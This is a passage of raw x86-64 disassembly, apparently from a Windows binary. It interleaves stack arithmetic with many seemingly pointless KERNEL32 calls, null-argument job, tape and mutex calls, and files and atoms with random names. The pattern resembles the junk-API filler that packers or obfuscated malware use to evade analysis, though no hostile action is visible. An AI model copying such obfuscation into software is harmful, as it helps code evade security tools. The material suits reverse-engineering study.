mov rax, qword [0x14024f258]
mov rcx, qword [rsp + 0xa0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dfc], eax
mov r9d, 2
lea r8, [rsp + 0xaeb0]
mov rdx, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c10], eax
mov rax, qword [rsp + 0xb2e0]
movzx eax, byte [rax]
mov byte [0x14024f01a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbd00], rax
mov dword [rsp + 0x20], 0xfef
mov r9d, 0x55e
mov r8d, 0x3d63
mov edx, 0x1daf
mov rcx, qword [rsp + 0x9e78]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4dc0], eax
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x9c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xabc8]
mov rcx, qword [rsp + 0x8318]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7dd8], rax
lea rdx, [rsp + 0xac08]
mov rcx, qword [rsp + 0xb368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5010], eax
movzx ecx, word [rsp + 0x10ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0xbb18]
mov rax, qword [rax]
mov qword [rsp + 0xbd08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbc30], rax
mov rax, qword [rsp + 0xa428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov word [rsp + 0x1344], ax
mov r9d, 0x23fa
xor r8d, r8d
lea rdx, [rsp + 0xaa50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax]
mov qword [rsp + 0xbd10], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb5d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbd18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, str.U8L9m_gdZk_SH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1594], ax
mov r9d, 1
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0xbd20]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4910], eax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov rcx, qword [rsp + 0x9e50]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1410]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x20], 0x1862
mov r9d, 0x39b0
mov r8d, reloc.COMCTL32.dll_DefSubclassProc
mov edx, 0x2236
mov rcx, qword [rsp + 0xb938]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4ec8], eax
lea rcx, str.xQzm3mA_VUb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15ec], ax
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb170]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4744], eax
movzx ecx, word [rsp + 0x130c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0xbd28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.UKKd4SFBTQZd_s2VxA8zwO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd30], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4edc], eax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0xb960]
mov rcx, qword [rsp + 0xb478]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f1e4], eax
lea rcx, [rsp + 0x1adc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e2]
add eax, ecx
mov rcx, qword [rsp + 0x9ed8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc20]
movzx ecx, word [rsp + 0x15ac]
sub eax, ecx
mov word [rsp + 0xbb8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor r9d, r9d
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0xae70]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ad0], eax
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [rsp + 0xa868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa48]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbd38], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3c7
mov r8d, 0x3ab8
mov edx, 0x7a
mov rcx, qword [rsp + 0xb920]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x281]
mov byte [rsp + 0x2ed], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xa700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb38]
add eax, ecx
mov word [rsp + 0x630], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xa738]
mov ecx, dword [rsp + 0x4ca8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ed4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x2de]
movsx ecx, byte [rsp + 0x29a]
shl eax, cl
mov byte [rsp + 0x252], al
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaf58]
mov rcx, qword [rsp + 0x91f0]
mov qword [rsp + 0xbd40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x97c8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b64], eax
lea rcx, [rsp + 0xbd48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x93b8]
mov ecx, dword [rsp + 0x44c4]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14022fbe4], eax
movzx ecx, word [rsp + 0x152c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x149c], ax
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b64], eax
lea rax, [rsp + 0x700]
mov qword [rsp + 0xbd50], rax
mov rax, qword [rsp + 0xb2e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb230]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov byte [rcx], al
mov rax, qword [rsp + 0xa688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbaa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb870], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb168]
mov rax, qword [rax]
mov qword [rsp + 0xbd58], rax
mov rcx, qword [rsp + 0xa978]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b5c], eax
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb6c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa538]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1000]
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0xaa68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0xa750]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
and eax, ecx
mov rcx, qword [rsp + 0xb588]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1aac8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx ecx, word [rsp + 0xffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x3c08
mov r9d, 0x3d37
mov r8d, 0x1c4c
mov edx, 0x232
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4d98], eax
movzx eax, word [0x14022fbb0]
mov word [0x14024f018], ax
lea rcx, [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4bb0]
mov dword [rsp + 0x5014], eax
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa210], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbd68], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xa2f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x83f8], rax
mov eax, dword [rsp + 0x3e78]
mov ecx, dword [rsp + 0x4948]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
mov rax, qword [rsp + 0xa638]
mov eax, dword [rax]
mov dword [rsp + 0x5018], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.r8lUyaGwQpYgdRjNrY3NRRi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd70], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rcx, qword [rsp + 0x9ba8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d3], al
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbd78], rax
movzx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0xb648]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7e], al
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x126c]
shl eax, cl
mov rcx, qword [0x14024f378]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0xb6e0]
mov rdx, qword [rsp + 0xbd80]
mov rcx, qword [rsp + 0xab20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49d0], eax
lea rdx, [rsp + 0xae10]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49d0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9a48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xae00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb68]
mov rax, qword [rax]
mov qword [rsp + 0xbd88], rax
mov rax, qword [rsp + 0x9730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2e5], al
movzx eax, word [rsp + 0xfa4]
movzx ecx, word [rsp + 0x5cc]
imul eax, ecx
mov word [rsp + 0xdf8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0xb098]
mov rdx, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49fc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.q9Rn8O7b0Cd65Ze_aRqC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd90], rax
movzx ecx, word [rsp + 0x1178]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x145c], ax
lea rax, [rsp + 0x2a3]
mov qword [rsp + 0xbd98], rax
mov rax, qword [rsp + 0xa550]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc28], ax
mov rcx, qword [rsp + 0xa218]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov dword [rsp + 0x501c], eax
mov eax, dword [rsp + 0x4b1c]
mov ecx, dword [rsp + 0x4a88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a0], eax
mov rax, qword [rsp + 0x9fc8]
mov ecx, dword [rsp + 0x4750]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14024f0d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
movzx ecx, word [0x14024f302]
add eax, ecx
mov rcx, qword [rsp + 0xb560]
mov word [rcx], ax
lea rax, [rsp + 0x2a1]
mov qword [rsp + 0xbda0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0xaa10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8168]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7be0], rax
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xbb08]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0xaa68]
mov rcx, qword [rsp + 0xa850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f34], eax
lea rax, [rsp + 0x29a]
mov qword [rsp + 0xbda8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ac], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov r9d, 2
lea r8, [rsp + 0xb950]
mov rdx, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5020], eax
lea rcx, [rsp + 0xa258]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x28f]
movzx ecx, byte [rsp + 0x1a2]
add eax, ecx
mov byte [0x14022fb96], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbdb0], rax
lea rax, [rsp + 0xb108]
mov qword [rsp + 0xbdb8], rax
movzx ecx, word [rsp + 0x13c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13b8], ax
lea rdx, [rsp + 0xbdc0]
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f80], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
mov rax, qword [rsp + 0xa878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb218], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x7c88]
mov qword [rsp + 0xbdc8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbdd0], rax
movzx ecx, word [rsp + 0x1440]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1534], ax
lea rcx, str.GoWeZb_mGxBQ.lDJKg2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13e0], ax
mov rax, qword [rsp + 0xa6a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1390]
or eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0xa2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf60]
shl eax, cl
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xa248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x496c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3eec], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbdd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movsx eax, byte [rsp + 0x2a3]
mov rcx, qword [rsp + 0xbda8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2ac], al
mov eax, dword [rsp + 0x4d04]
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
mov byte [0x14024f016], al
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0xa000]
mov qword [rsp + 0xb598], rax
xor r9d, r9d
lea r8, [rsp + 0xa510]
mov rdx, qword [rsp + 0xbde0]
mov rcx, qword [rsp + 0xaea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, [rsp + 0x22740]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4db4], eax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x279]
imul eax, ecx
mov rcx, qword [rsp + 0xb620]
mov byte [rcx], al
movzx eax, word [0x14022fbb0]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0xd34], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0xb968]
mov ecx, dword [rsp + 0x4c18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
lea rcx, [0x140234498]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15f0], ax
mov eax, dword [rsp + 0x4c9c]
mov dword [rsp + 0x5028], eax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0xb0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d8]
sub eax, ecx
mov word [rsp + 0x798], ax
mov rax, qword [rsp + 0xbba0]
mov rax, qword [rax]
mov qword [rsp + 0xbde8], rax
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14024f098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29c], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1974
mov r9d, 0x2a59
mov r8d, 0x508fd52a
mov edx, 1
mov rcx, qword [rsp + 0xa300]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49ec], eax
mov r9d, 1
lea r8, [rsp + 0x9b20]
mov rdx, qword [rsp + 0xbaf0]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x502c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rdx, [rsp + 0xbdf0]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ddc], eax
mov rax, qword [rsp + 0xbc20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
add eax, ecx
mov word [0x14022fb98], ax
mov r9d, 1
lea r8, [rsp + 0xb768]
mov rdx, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a38], eax
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [0x14024f138]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f7c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbdf8], rax
mov rax, qword [rsp + 0x7af8]
mov rcx, qword [rsp + 0x82f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9690]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov r9d, 1
lea r8, [rsp + 0xb098]
mov rdx, qword [rsp + 0xbe00]
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xab08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xabf8]
mov qword [rcx], rax
lea rax, [rsp + 0x138c]
mov qword [rsp + 0xbe08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx ecx, word [rsp + 0x1174]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14a8], ax
mov eax, dword [rsp + 0x4ffc]
mov ecx, dword [rsp + 0x4114]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbe10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x255]
mov qword [rsp + 0xbe18], rax
movzx ecx, word [rsp + 0x156c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1410], ax
lea rcx, str.InXn6stCSW.Of
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15f4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x9588]
mov ecx, dword [rsp + 0x4594]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
mov word [rsp + 0x15f8], ax
lea rdx, [rsp + 0xa110]
mov rcx, qword [rsp + 0x9e38]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fd0], eax
lea rcx, str.J6see_eeRhUCQw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15fc], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x38a8
mov r9d, 0x2682
mov r8d, 0xea20284c
mov edx, 1
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ddc], eax
mov rax, qword [rsp + 0xb338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae88]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14024f2c0]
mov byte [rcx], al
mov edx, 0x581
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5030], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xa4b0]
mov rcx, qword [rsp + 0x98b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb598], rax
mov rax, qword [rsp + 0x7cb8]
movzx ecx, al
mov rax, qword [rsp + 0x9af0]
shl rax, cl
mov qword [rsp + 0xb598], rax
lea rax, [rsp + 0x49b0]
